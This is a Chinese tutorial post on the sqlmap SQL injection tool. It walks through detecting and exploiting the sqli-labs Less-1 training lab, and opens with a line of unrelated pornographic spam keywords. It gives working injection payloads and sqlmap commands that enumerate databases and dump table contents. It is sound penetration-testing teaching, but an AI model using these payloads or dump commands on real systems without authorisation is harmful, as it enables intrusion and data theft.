欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL注入漏洞掃描之sqlmap詳解

 更新時(shí)間:2025年01月25日 11:22:44   作者:司越越  
SQLMap是一款自動(dòng)執(zhí)行SQL注入的審計(jì)工具,支持多種SQL注入技術(shù),包括布爾型盲注、時(shí)間型盲注、報(bào)錯(cuò)型注入、聯(lián)合查詢注入和堆疊查詢注入

what

SQLMap是一款先進(jìn)的自動(dòng)執(zhí)行SQL注入的審計(jì)工具。當(dāng)給定一個(gè)URL時(shí),SQLMap會(huì)執(zhí)行以下操作:

  1. 判斷可注入的參數(shù)。
  2. 判斷可以用哪種SQL注入技術(shù)來注入。
  3. 識(shí)別出目標(biāo)使用哪種數(shù)據(jù)庫。
  4. 根據(jù)用戶的選擇,讀取哪些數(shù)據(jù)庫中的數(shù)據(jù)。

更詳細(xì)語法請(qǐng)參考官方手冊(cè)---用法 | sqlmap 用戶手冊(cè) (highlight.ink)

支持類型

sqlmap 可用于檢測(cè)利用五種不同類型的 SQL 注入。

  • 布爾型盲注(Boolean-based blind):sqlmap 會(huì)替換或添加 SQL 語句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的 SELECT 子查詢,也可以是任意用于獲取輸出數(shù)據(jù)的 SQL 語句。針對(duì)每個(gè)注入檢測(cè)的 HTTP 響應(yīng),sqlmap 通過對(duì)比原始請(qǐng)求響應(yīng)的 headers/body,從而逐個(gè)字符地推導(dǎo)出注入語句的輸出。或者,用戶可以預(yù)先提供一個(gè)字符串或正則表達(dá)式,用于對(duì)正確頁面結(jié)果進(jìn)行匹配。sqlmap 內(nèi)部實(shí)現(xiàn)了二分算法,使得輸出中的每一個(gè)字符可在最多 7 個(gè) HTTP 請(qǐng)求內(nèi)被獲取。如果請(qǐng)求響應(yīng)結(jié)果不是簡(jiǎn)單的明文字符集,sqlmap 會(huì)采取更大范圍的算法來檢測(cè)輸出。
  • 時(shí)間型盲注(Time-based blind):sqlmap 會(huì)替換或者添加相關(guān)的 SQL 語句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的、用于使后端 DBMS(Database Management System,數(shù)據(jù)庫管理系統(tǒng))延遲幾秒響應(yīng)的查詢。針對(duì)每一個(gè)注入檢測(cè)的 HTTP 響應(yīng),通過對(duì) HTTP 響應(yīng)時(shí)間與原始請(qǐng)求之間進(jìn)行比較,從而逐個(gè)字符地推導(dǎo)出注入語句的輸出。正如基于布爾型盲注的技術(shù)一樣,二分算法也會(huì)被應(yīng)用。
  • 報(bào)錯(cuò)型注入(Error-based):sqlmap 會(huì)替換或者添加用于引發(fā)特定數(shù)據(jù)庫錯(cuò)誤的 SQL 語句到查詢參數(shù)里面,并通過解析對(duì)應(yīng)的注入結(jié)果,判斷特定的數(shù)據(jù)庫錯(cuò)誤信息是否存在響應(yīng)的 headers/body 中。這項(xiàng)技術(shù)只有在 Web 應(yīng)用配置開啟后端 DBMS 錯(cuò)誤信息提醒才有效。
  • 聯(lián)合查詢注入(UNION query-based):sqlmap 會(huì)在查詢參數(shù)中添加以 UNION ALL SELECT 開頭的合法 SQL 語句。當(dāng) Web 應(yīng)用在 for 循環(huán)中直接傳遞 SELECT 語句的查詢結(jié)果,或采用了類似的方法將查詢結(jié)果在頁面中逐行輸出時(shí),這項(xiàng)技術(shù)會(huì)生效。當(dāng)查詢結(jié)果不使用 for 循環(huán)進(jìn)行全部輸出而只輸出首個(gè)結(jié)果,sqlmap 還能夠利用偏(單入口)聯(lián)合查詢 SQL 注入漏洞。
  • 堆疊查詢注入(Stacked queries),也被稱為捎帶查詢注入(piggy backing):sqlmap 會(huì)測(cè)試 Web 應(yīng)用是否支持堆疊查詢,如果支持,則在 HTTP 請(qǐng)求的查詢參數(shù)中添加一個(gè)分號(hào)(;),并在后面加上注入的 SQL 語句。這項(xiàng)技術(shù)不僅適用于執(zhí)行 SELECT 語句,同樣適用于執(zhí)行數(shù)據(jù)定義或者數(shù)據(jù)操作等 SQL 語句,同時(shí)可能可以獲取到文件系統(tǒng)的讀寫權(quán)限和系統(tǒng)命令執(zhí)行權(quán)限,不過這很大程度上取決于底層 DBMS 和當(dāng)前會(huì)話用戶的權(quán)限。

how---less-1為例

sqlmap在kali中自動(dòng)集成,若要在Windows中使用需要python2.x版本

1.檢測(cè)網(wǎng)站是否存在sql注入漏洞的注入點(diǎn)

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id為)

---最好有個(gè)""

(-u 前提是檢測(cè)參數(shù)為GET參數(shù))

結(jié)果顯示參數(shù)id是注入點(diǎn),有存在多個(gè)sql注入漏洞,分別是布爾盲注、錯(cuò)誤注入、時(shí)間盲注、union聯(lián)合注入

并且返回了該網(wǎng)站基于的數(shù)據(jù)庫類型

我們來驗(yàn)證一下---

錯(cuò)誤注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union聯(lián)合注入

?id=100000' union select 1,2,3 --+

時(shí)間盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布爾盲注

id=1' and substr(database(),1,1)='s'--+

2.列舉可用數(shù)據(jù)庫

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列舉數(shù)據(jù)庫中的數(shù)據(jù)表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列舉數(shù)據(jù)表中的字段

?id=1 -D security -T emails --columns

5.輸出目標(biāo)字段的具體內(nèi)容

?id=1 -D security -T emails -C email_id --dump

注:若字段數(shù)不多,4與5可以合并成 ?id=1 -D security -T emails -dump

效果就是列舉該表下的所有字段以及字段的內(nèi)容,以及對(duì)應(yīng)關(guān)系 觀察更方便

若字段內(nèi)容的多少可以用--count查看

若想查看指定行數(shù)的字段內(nèi)容可以 --start(起始條數(shù)) --stop(終止條數(shù))

?id=1 -D security -T emails --start 2 --stop 3 --dump

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評(píng)論